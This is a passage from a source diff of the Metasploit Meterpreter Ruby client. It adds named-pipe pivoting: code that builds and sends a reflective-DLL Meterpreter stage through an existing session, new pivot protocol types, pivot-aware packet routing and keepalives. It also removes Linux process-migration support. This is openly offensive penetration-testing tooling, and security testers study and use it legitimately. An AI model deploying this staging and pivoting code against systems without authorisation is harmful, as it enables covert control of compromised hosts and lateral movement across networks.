core.shutdown rescue nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -117,11 +130,20 @@ class Client
|
||||||
self.conn_id = opts[:conn_id]
|
self.conn_id = opts[:conn_id]
|
||||||
self.url = opts[:url]
|
self.url = opts[:url]
|
||||||
self.ssl = opts[:ssl]
|
self.ssl = opts[:ssl]
|
||||||
self.expiration = opts[:expiration]
|
|
||||||
self.comm_timeout = opts[:comm_timeout]
|
self.pivot_session = opts[:pivot_session]
|
||||||
self.retry_total = opts[:retry_total]
|
if self.pivot_session
|
||||||
self.retry_wait = opts[:retry_wait]
|
self.expiration = self.pivot_session.expiration
|
||||||
self.passive_dispatcher = opts[:passive_dispatcher]
|
self.comm_timeout = self.pivot_session.comm_timeout
|
||||||
|
self.retry_total = self.pivot_session.retry_total
|
||||||
|
self.retry_wait = self.pivot_session.retry_wait
|
||||||
|
else
|
||||||
|
self.expiration = opts[:expiration]
|
||||||
|
self.comm_timeout = opts[:comm_timeout]
|
||||||
|
self.retry_total = opts[:retry_total]
|
||||||
|
self.retry_wait = opts[:retry_wait]
|
||||||
|
self.passive_dispatcher = opts[:passive_dispatcher]
|
||||||
|
end
|
||||||
|
|
||||||
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
||||||
self.send_keepalives = true
|
self.send_keepalives = true
|
||||||
|
@ -131,7 +153,7 @@ class Client
|
||||||
self.encode_unicode = false
|
self.encode_unicode = false
|
||||||
|
|
||||||
self.aes_key = nil
|
self.aes_key = nil
|
||||||
self.session_guid = '00000000-0000-0000-0000-000000000000'
|
self.session_guid = opts[:session_guid] || "\x00" * 16
|
||||||
|
|
||||||
# The SSL certificate is being passed down as a file path
|
# The SSL certificate is being passed down as a file path
|
||||||
if opts[:ssl_cert]
|
if opts[:ssl_cert]
|
||||||
|
@ -143,32 +165,19 @@ class Client
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if opts[:passive_dispatcher]
|
initialize_passive_dispatcher if opts[:passive_dispatcher]
|
||||||
initialize_passive_dispatcher
|
|
||||||
|
|
||||||
register_extension_alias('core', ClientCore.new(self))
|
register_extension_alias('core', ClientCore.new(self))
|
||||||
|
|
||||||
initialize_inbound_handlers
|
initialize_inbound_handlers
|
||||||
initialize_channels
|
initialize_channels
|
||||||
|
initialize_pivots
|
||||||
|
|
||||||
# Register the channel inbound packet handler
|
# Register the channel and pivot inbound packet handlers
|
||||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||||
else
|
register_inbound_handler(Rex::Post::Meterpreter::Pivot)
|
||||||
# Switch the socket to SSL mode and receive the hello if needed
|
|
||||||
if capabilities[:ssl] and not opts[:skip_ssl]
|
|
||||||
swap_sock_plain_to_ssl()
|
|
||||||
end
|
|
||||||
|
|
||||||
register_extension_alias('core', ClientCore.new(self))
|
monitor_socket
|
||||||
|
|
||||||
initialize_inbound_handlers
|
|
||||||
initialize_channels
|
|
||||||
|
|
||||||
# Register the channel inbound packet handler
|
|
||||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
|
||||||
|
|
||||||
monitor_socket
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def swap_sock_plain_to_ssl
|
def swap_sock_plain_to_ssl
|
||||||
|
@ -478,6 +487,10 @@ class Client
|
||||||
#
|
#
|
||||||
attr_accessor :passive_dispatcher
|
attr_accessor :passive_dispatcher
|
||||||
#
|
#
|
||||||
|
# Reference to a session to pivot through
|
||||||
|
#
|
||||||
|
attr_accessor :pivot_session
|
||||||
|
#
|
||||||
# Flag indicating whether to hex-encode UTF-8 file names and other strings
|
# Flag indicating whether to hex-encode UTF-8 file names and other strings
|
||||||
#
|
#
|
||||||
attr_accessor :encode_unicode
|
attr_accessor :encode_unicode
|
||||||
|
|
|
@ -3,6 +3,7 @@
|
||||||
require 'rex/post/meterpreter/packet'
|
require 'rex/post/meterpreter/packet'
|
||||||
require 'rex/post/meterpreter/extension'
|
require 'rex/post/meterpreter/extension'
|
||||||
require 'rex/post/meterpreter/client'
|
require 'rex/post/meterpreter/client'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
|
||||||
# Used to generate a reflective DLL when migrating. This is yet another
|
# Used to generate a reflective DLL when migrating. This is yet another
|
||||||
# argument for moving the meterpreter client into the Msf namespace.
|
# argument for moving the meterpreter client into the Msf namespace.
|
||||||
|
@ -33,24 +34,12 @@ module Meterpreter
|
||||||
###
|
###
|
||||||
class ClientCore < Extension
|
class ClientCore < Extension
|
||||||
|
|
||||||
UNIX_PATH_MAX = 108
|
VALID_TRANSPORTS = [
|
||||||
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
|
'reverse_tcp',
|
||||||
|
'reverse_http',
|
||||||
METERPRETER_TRANSPORT_SSL = 0
|
'reverse_https',
|
||||||
METERPRETER_TRANSPORT_HTTP = 1
|
'bind_tcp'
|
||||||
METERPRETER_TRANSPORT_HTTPS = 2
|
]
|
||||||
|
|
||||||
TIMEOUT_SESSION = 24*3600*7 # 1 week
|
|
||||||
TIMEOUT_COMMS = 300 # 5 minutes
|
|
||||||
TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
|
|
||||||
TIMEOUT_RETRY_WAIT = 10 # 10 seconds
|
|
||||||
|
|
||||||
VALID_TRANSPORTS = {
|
|
||||||
'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
|
|
||||||
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
|
|
||||||
'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
|
|
||||||
'bind_tcp' => METERPRETER_TRANSPORT_SSL
|
|
||||||
}
|
|
||||||
|
|
||||||
include Rex::Payloads::Meterpreter::UriChecksum
|
include Rex::Payloads::Meterpreter::UriChecksum
|
||||||
|
|
||||||
|
@ -67,6 +56,44 @@ class ClientCore < Extension
|
||||||
#
|
#
|
||||||
##
|
##
|
||||||
|
|
||||||
|
#
|
||||||
|
# create a named pipe pivot
|
||||||
|
#
|
||||||
|
def create_named_pipe_pivot(opts)
|
||||||
|
request = Packet.create_request('core_pivot_add')
|
||||||
|
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
|
||||||
|
|
||||||
|
|
||||||
|
c = Class.new(::Msf::Payload)
|
||||||
|
c.include(::Msf::Payload::Stager)
|
||||||
|
c.include(::Msf::Payload::TransportConfig)
|
||||||
|
|
||||||
|
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||||
|
if opts[:arch] == ARCH_X86
|
||||||
|
c.include(::Msf::Payload::Windows::MeterpreterLoader)
|
||||||
|
elsif opts[:arch] == ARCH_X64
|
||||||
|
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
|
||||||
|
end
|
||||||
|
|
||||||
|
stage_opts = {
|
||||||
|
force_write_handle: true,
|
||||||
|
datastore: {
|
||||||
|
'PIPEHOST' => opts[:pipe_host],
|
||||||
|
'PIPENAME' => opts[:pipe_name]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
stager = c.new()
|
||||||
|
|
||||||
|
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
|
||||||
|
stage = stager.stage_payload(stage_opts)
|
||||||
|
|
||||||
|
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
|
||||||
|
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
|
||||||
|
|
||||||
|
response = self.client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Get a list of loaded commands for the given extension.
|
# Get a list of loaded commands for the given extension.
|
||||||
#
|
#
|
||||||
|
@ -320,7 +347,7 @@ class ClientCore < Extension
|
||||||
#
|
#
|
||||||
def set_session_guid(guid)
|
def set_session_guid(guid)
|
||||||
request = Packet.create_request('core_set_session_guid')
|
request = Packet.create_request('core_set_session_guid')
|
||||||
request.add_tlv(TLV_TYPE_SESSION_GUID, [guid.gsub(/-/, '')].pack('H*'))
|
request.add_tlv(TLV_TYPE_SESSION_GUID, guid)
|
||||||
|
|
||||||
client.send_request(request)
|
client.send_request(request)
|
||||||
|
|
||||||
|
@ -338,10 +365,7 @@ class ClientCore < Extension
|
||||||
|
|
||||||
response = client.send_request(*args)
|
response = client.send_request(*args)
|
||||||
|
|
||||||
bytes = response.get_tlv_value(TLV_TYPE_SESSION_GUID)
|
response.get_tlv_value(TLV_TYPE_SESSION_GUID)
|
||||||
|
|
||||||
parts = bytes.unpack('H*')[0]
|
|
||||||
[parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -541,51 +565,17 @@ class ClientCore < Extension
|
||||||
raise RuntimeError, 'Cannot migrate into current process', caller
|
raise RuntimeError, 'Cannot migrate into current process', caller
|
||||||
end
|
end
|
||||||
|
|
||||||
if client.platform == 'linux'
|
|
||||||
if writable_dir.to_s.strip.empty?
|
|
||||||
writable_dir = tmp_folder
|
|
||||||
end
|
|
||||||
|
|
||||||
stat_dir = client.fs.filestat.new(writable_dir)
|
|
||||||
|
|
||||||
unless stat_dir.directory?
|
|
||||||
raise RuntimeError, "Directory #{writable_dir} not found", caller
|
|
||||||
end
|
|
||||||
# Rex::Post::FileStat#writable? isn't available
|
|
||||||
end
|
|
||||||
|
|
||||||
migrate_stub = generate_migrate_stub(target_process)
|
migrate_stub = generate_migrate_stub(target_process)
|
||||||
migrate_payload = generate_migrate_payload(target_process)
|
migrate_payload = generate_migrate_payload(target_process)
|
||||||
|
|
||||||
# Build the migration request
|
# Build the migration request
|
||||||
request = Packet.create_request('core_migrate')
|
request = Packet.create_request('core_migrate')
|
||||||
|
|
||||||
if client.platform == 'linux'
|
request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
|
||||||
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
|
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length)
|
||||||
|
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
|
||||||
if socket_path.length > UNIX_PATH_MAX - 1
|
request.add_tlv(TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length)
|
||||||
raise RuntimeError, 'The writable dir is too long', caller
|
request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
|
||||||
end
|
|
||||||
|
|
||||||
pos = migrate_payload.index(DEFAULT_SOCK_PATH)
|
|
||||||
|
|
||||||
if pos.nil?
|
|
||||||
raise RuntimeError, 'The meterpreter binary is wrong', caller
|
|
||||||
end
|
|
||||||
|
|
||||||
migrate_payload[pos, socket_path.length + 1] = socket_path + "\x00"
|
|
||||||
|
|
||||||
ep = elf_ep(migrate_payload)
|
|
||||||
request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
|
|
||||||
request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
|
|
||||||
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
|
|
||||||
end
|
|
||||||
|
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_PID, target_pid )
|
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length )
|
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
|
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length )
|
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
|
|
||||||
|
|
||||||
if target_process['arch'] == ARCH_X64
|
if target_process['arch'] == ARCH_X64
|
||||||
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
||||||
|
@ -614,7 +604,7 @@ class ClientCore < Extension
|
||||||
# Sleep for 5 seconds to allow the full handoff, this prevents
|
# Sleep for 5 seconds to allow the full handoff, this prevents
|
||||||
# the original process from stealing our loadlib requests
|
# the original process from stealing our loadlib requests
|
||||||
::IO.select(nil, nil, nil, 5.0)
|
::IO.select(nil, nil, nil, 5.0)
|
||||||
else
|
elsif client.pivot_session.nil?
|
||||||
# Prevent new commands from being sent while we finish migrating
|
# Prevent new commands from being sent while we finish migrating
|
||||||
client.comm_mutex.synchronize do
|
client.comm_mutex.synchronize do
|
||||||
# Disable the socket request monitor
|
# Disable the socket request monitor
|
||||||
|
@ -686,11 +676,8 @@ class ClientCore < Extension
|
||||||
# Indicates if the given transport is a valid transport option.
|
# Indicates if the given transport is a valid transport option.
|
||||||
#
|
#
|
||||||
def valid_transport?(transport)
|
def valid_transport?(transport)
|
||||||
if transport
|
return false if transport.nil?
|
||||||
VALID_TRANSPORTS.has_key?(transport.downcase)
|
VALID_TRANSPORTS.include?(transport.downcase)
|
||||||
else
|
|
||||||
false
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -751,6 +738,8 @@ private
|
||||||
case t[:url]
|
case t[:url]
|
||||||
when /^tcp/i
|
when /^tcp/i
|
||||||
c.include(::Msf::Payload::Windows::MigrateTcp)
|
c.include(::Msf::Payload::Windows::MigrateTcp)
|
||||||
|
when /^pipe/i
|
||||||
|
c.include(::Msf::Payload::Windows::MigrateNamedPipe)
|
||||||
when /^http/i
|
when /^http/i
|
||||||
# Covers HTTP and HTTPS
|
# Covers HTTP and HTTPS
|
||||||
c.include(::Msf::Payload::Windows::MigrateHttp)
|
c.include(::Msf::Payload::Windows::MigrateHttp)
|
||||||
|
@ -760,6 +749,8 @@ private
|
||||||
case t[:url]
|
case t[:url]
|
||||||
when /^tcp/i
|
when /^tcp/i
|
||||||
c.include(::Msf::Payload::Windows::MigrateTcp_x64)
|
c.include(::Msf::Payload::Windows::MigrateTcp_x64)
|
||||||
|
when /^pipe/i
|
||||||
|
c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)
|
||||||
when /^http/i
|
when /^http/i
|
||||||
# Covers HTTP and HTTPS
|
# Covers HTTP and HTTPS
|
||||||
c.include(::Msf::Payload::Windows::MigrateHttp_x64)
|
c.include(::Msf::Payload::Windows::MigrateHttp_x64)
|
||||||
|
@ -790,11 +781,11 @@ private
|
||||||
opts[:lhost] = nil
|
opts[:lhost] = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
transport = VALID_TRANSPORTS[opts[:transport]]
|
transport = opts[:transport].downcase
|
||||||
|
|
||||||
request = Packet.create_request(method)
|
request = Packet.create_request(method)
|
||||||
|
|
||||||
scheme = opts[:transport].split('_')[1]
|
scheme = transport.split('_')[1]
|
||||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||||
|
|
||||||
if opts[:luri] && opts[:luri].length > 0
|
if opts[:luri] && opts[:luri].length > 0
|
||||||
|
@ -824,7 +815,7 @@ private
|
||||||
end
|
end
|
||||||
|
|
||||||
# do more magic work for http(s) payloads
|
# do more magic work for http(s) payloads
|
||||||
unless opts[:transport].ends_with?('tcp')
|
unless transport.ends_with?('tcp')
|
||||||
if opts[:uri]
|
if opts[:uri]
|
||||||
url << '/' unless opts[:uri].start_with?('/')
|
url << '/' unless opts[:uri].start_with?('/')
|
||||||
url << opts[:uri]
|
url << opts[:uri]
|
||||||
|
@ -838,7 +829,7 @@ private
|
||||||
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
||||||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
||||||
|
|
||||||
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
|
if transport == 'reverse_https' && opts[:cert]
|
||||||
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
|
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
|
||||||
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
||||||
end
|
end
|
||||||
|
@ -862,24 +853,7 @@ private
|
||||||
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
|
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
|
||||||
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
||||||
|
|
||||||
return request
|
request
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Create a full migration payload specific to the target process.
|
|
||||||
#
|
|
||||||
def generate_migrate_payload(target_process)
|
|
||||||
case client.platform
|
|
||||||
when 'windows'
|
|
||||||
blob = generate_migrate_windows_payload(target_process)
|
|
||||||
when 'linux'
|
|
||||||
blob = generate_migrate_linux_payload
|
|
||||||
else
|
|
||||||
raise RuntimeError, "Unsupported platform '#{client.platform}'"
|
|
||||||
end
|
|
||||||
|
|
||||||
blob
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -905,34 +879,18 @@ private
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Create a full Linux-specific migration payload specific to the target process.
|
# Create a full migration payload specific to the target process.
|
||||||
#
|
#
|
||||||
def generate_migrate_linux_payload
|
def generate_migrate_payload(target_process)
|
||||||
MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
case client.platform
|
||||||
end
|
when 'windows'
|
||||||
|
blob = generate_migrate_windows_payload(target_process)
|
||||||
#
|
else
|
||||||
# Determine the elf entry poitn for the given payload.
|
raise RuntimeError, "Unsupported platform '#{client.platform}'"
|
||||||
#
|
|
||||||
def elf_ep(payload)
|
|
||||||
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
|
|
||||||
ep = elf.elf_header.e_entry
|
|
||||||
return ep
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Get the tmp folder for the session.
|
|
||||||
#
|
|
||||||
def tmp_folder
|
|
||||||
tmp = client.sys.config.getenv('TMPDIR')
|
|
||||||
|
|
||||||
if tmp.to_s.strip.empty?
|
|
||||||
tmp = '/tmp'
|
|
||||||
end
|
end
|
||||||
|
|
||||||
tmp
|
blob
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end; end; end
|
end; end; end
|
||||||
|
|
|
@ -80,7 +80,6 @@ class Kiwi < Extension
|
||||||
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
|
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
|
||||||
result[:error] = 'Invalid user.'
|
result[:error] = 'Invalid user.'
|
||||||
else
|
else
|
||||||
STDERR.puts(output)
|
|
||||||
result[:error] = 'Unknown error.'
|
result[:error] = 'Unknown error.'
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
|
|
|
@ -17,7 +17,7 @@ TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
||||||
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
|
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
|
||||||
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
|
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
|
||||||
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632
|
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
# Fs
|
# Fs
|
||||||
|
|
|
@ -113,6 +113,15 @@ TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551
|
||||||
TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552
|
TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552
|
||||||
TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
|
TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
|
||||||
|
|
||||||
|
#
|
||||||
|
# Pivots
|
||||||
|
#
|
||||||
|
TLV_TYPE_PIVOT_ID = TLV_META_TYPE_RAW | 650
|
||||||
|
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651
|
||||||
|
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 652
|
||||||
|
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Core flags
|
# Core flags
|
||||||
#
|
#
|
||||||
|
@ -120,6 +129,12 @@ LOAD_LIBRARY_FLAG_ON_DISK = (1 << 0)
|
||||||
LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1)
|
LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1)
|
||||||
LOAD_LIBRARY_FLAG_LOCAL = (1 << 2)
|
LOAD_LIBRARY_FLAG_LOCAL = (1 << 2)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sane defaults
|
||||||
|
#
|
||||||
|
GUID_SIZE = 16
|
||||||
|
NULL_GUID = "\x00" * GUID_SIZE
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# Base TLV (Type-Length-Value) class
|
# Base TLV (Type-Length-Value) class
|
||||||
|
@ -227,6 +242,11 @@ class Tlv
|
||||||
when TLV_TYPE_SYM_KEY; "SYM-KEY"
|
when TLV_TYPE_SYM_KEY; "SYM-KEY"
|
||||||
when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY"
|
when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY"
|
||||||
|
|
||||||
|
when TLV_TYPE_PIVOT_ID; "PIVOT-ID"
|
||||||
|
when TLV_TYPE_PIVOT_STAGE_DATA; "PIVOT-STAGE-DATA"
|
||||||
|
when TLV_TYPE_PIVOT_STAGE_DATA_SIZE; "PIVOT-STAGE-DATA-SIZE"
|
||||||
|
when TLV_TYPE_PIVOT_NAMED_PIPE_NAME; "PIVOT-NAMED-PIPE-NAME"
|
||||||
|
|
||||||
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
|
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
|
||||||
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
|
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
|
||||||
#when Extensions::Stdapi::TLV_TYPE_NETMASK; 'netmask'
|
#when Extensions::Stdapi::TLV_TYPE_NETMASK; 'netmask'
|
||||||
|
@ -624,6 +644,8 @@ class Packet < GroupTlv
|
||||||
attr_accessor :created_at
|
attr_accessor :created_at
|
||||||
attr_accessor :raw
|
attr_accessor :raw
|
||||||
attr_accessor :session_guid
|
attr_accessor :session_guid
|
||||||
|
attr_accessor :encrypt_flags
|
||||||
|
attr_accessor :length
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
|
@ -654,11 +676,10 @@ class Packet < GroupTlv
|
||||||
###
|
###
|
||||||
|
|
||||||
XOR_KEY_SIZE = 4
|
XOR_KEY_SIZE = 4
|
||||||
SESSION_GUID_SIZE = 16
|
|
||||||
ENCRYPTED_FLAGS_SIZE = 4
|
ENCRYPTED_FLAGS_SIZE = 4
|
||||||
PACKET_LENGTH_SIZE = 4
|
PACKET_LENGTH_SIZE = 4
|
||||||
PACKET_TYPE_SIZE = 4
|
PACKET_TYPE_SIZE = 4
|
||||||
PACKET_HEADER_SIZE = XOR_KEY_SIZE + SESSION_GUID_SIZE + ENCRYPTED_FLAGS_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE
|
PACKET_HEADER_SIZE = XOR_KEY_SIZE + GUID_SIZE + ENCRYPTED_FLAGS_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE
|
||||||
|
|
||||||
AES_IV_SIZE = 16
|
AES_IV_SIZE = 16
|
||||||
|
|
||||||
|
@ -786,7 +807,7 @@ class Packet < GroupTlv
|
||||||
def to_r(session_guid = nil, key = nil)
|
def to_r(session_guid = nil, key = nil)
|
||||||
xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
|
xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
|
||||||
|
|
||||||
raw = [(session_guid || '00' * SESSION_GUID_SIZE).gsub(/-/, '')].pack('H*')
|
raw = (session_guid || NULL_GUID).dup
|
||||||
tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
|
tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
|
||||||
|
|
||||||
if key && key[:key] && key[:type] == ENC_FLAG_AES256
|
if key && key[:key] && key[:type] == ENC_FLAG_AES256
|
||||||
|
@ -817,6 +838,12 @@ class Packet < GroupTlv
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def parse_header!
|
||||||
|
xor_key = self.raw.unpack('a4')[0]
|
||||||
|
data = xor_bytes(xor_key, self.raw[0..PACKET_HEADER_SIZE])
|
||||||
|
_, self.session_guid, self.encrypt_flags, self.length, self.type = data.unpack('a4a16NNN')
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Override the function that reads from a raw byte stream so
|
# Override the function that reads from a raw byte stream so
|
||||||
# that the XORing of data is included in the process prior to
|
# that the XORing of data is included in the process prior to
|
||||||
|
@ -824,11 +851,11 @@ class Packet < GroupTlv
|
||||||
# the TLV values.
|
# the TLV values.
|
||||||
#
|
#
|
||||||
def from_r(key=nil)
|
def from_r(key=nil)
|
||||||
|
self.parse_header!
|
||||||
xor_key = self.raw.unpack('a4')[0]
|
xor_key = self.raw.unpack('a4')[0]
|
||||||
data = xor_bytes(xor_key, self.raw)
|
data = xor_bytes(xor_key, self.raw[PACKET_HEADER_SIZE..-1])
|
||||||
_, self.session_guid, encrypt_flags, length, type = data.unpack('a4a16NNN')
|
raw = decrypt_packet(key, self.encrypt_flags, data)
|
||||||
raw = decrypt_packet(key, encrypt_flags, data[PACKET_HEADER_SIZE..-1])
|
super([self.length, self.type, raw].pack('NNA*'))
|
||||||
super([length, type, raw].pack('NNA*'))
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -137,7 +137,7 @@ module PacketDispatcher
|
||||||
if req.body and req.body.length > 0
|
if req.body and req.body.length > 0
|
||||||
packet = Packet.new(0)
|
packet = Packet.new(0)
|
||||||
packet.add_raw(req.body)
|
packet.add_raw(req.body)
|
||||||
packet.from_r(self.tlv_enc_key)
|
packet.parse_header!
|
||||||
dispatch_inbound_packet(packet)
|
dispatch_inbound_packet(packet)
|
||||||
end
|
end
|
||||||
cli.send_response(resp)
|
cli.send_response(resp)
|
||||||
|
@ -157,13 +157,28 @@ module PacketDispatcher
|
||||||
#
|
#
|
||||||
# Sends a packet without waiting for a response.
|
# Sends a packet without waiting for a response.
|
||||||
#
|
#
|
||||||
def send_packet(packet, completion_routine = nil, completion_param = nil)
|
def send_packet(packet, opts={})
|
||||||
if (completion_routine)
|
if self.pivot_session
|
||||||
add_response_waiter(packet, completion_routine, completion_param)
|
opts[:session_guid] = self.session_guid
|
||||||
|
opts[:tlv_enc_key] = self.tlv_enc_key
|
||||||
|
return self.pivot_session.send_packet(packet, opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
if opts[:completion_routine]
|
||||||
|
add_response_waiter(packet, opts[:completion_routine], opts[:completion_param])
|
||||||
|
end
|
||||||
|
|
||||||
|
session_guid = self.session_guid
|
||||||
|
tlv_enc_key = self.tlv_enc_key
|
||||||
|
|
||||||
|
# if a session guid is provided, use all the details provided
|
||||||
|
if opts[:session_guid]
|
||||||
|
session_guid = opts[:session_guid]
|
||||||
|
tlv_enc_key = opts[:tlv_enc_key]
|
||||||
end
|
end
|
||||||
|
|
||||||
bytes = 0
|
bytes = 0
|
||||||
raw = packet.to_r(self.session_guid, self.tlv_enc_key)
|
raw = packet.to_r(session_guid, tlv_enc_key)
|
||||||
err = nil
|
err = nil
|
||||||
|
|
||||||
# Short-circuit send when using a passive dispatcher
|
# Short-circuit send when using a passive dispatcher
|
||||||
|
@ -289,6 +304,24 @@ module PacketDispatcher
|
||||||
# Reception
|
# Reception
|
||||||
#
|
#
|
||||||
##
|
##
|
||||||
|
|
||||||
|
def pivot_keepalive_start
|
||||||
|
return unless self.send_keepalives
|
||||||
|
self.receiver_thread = Rex::ThreadFactory.spawn("PivotKeepalive", false) do
|
||||||
|
while self.alive
|
||||||
|
begin
|
||||||
|
Rex::sleep(PING_TIME)
|
||||||
|
keepalive
|
||||||
|
rescue ::Exception => e
|
||||||
|
dlog("Exception caught in pivot keepalive: #{e.class}: #{e}", 'meterpreter', LEV_1)
|
||||||
|
dlog("Call stack: #{e.backtrace.join("\n")}", 'meterpreter', LEV_2)
|
||||||
|
self.alive = false
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
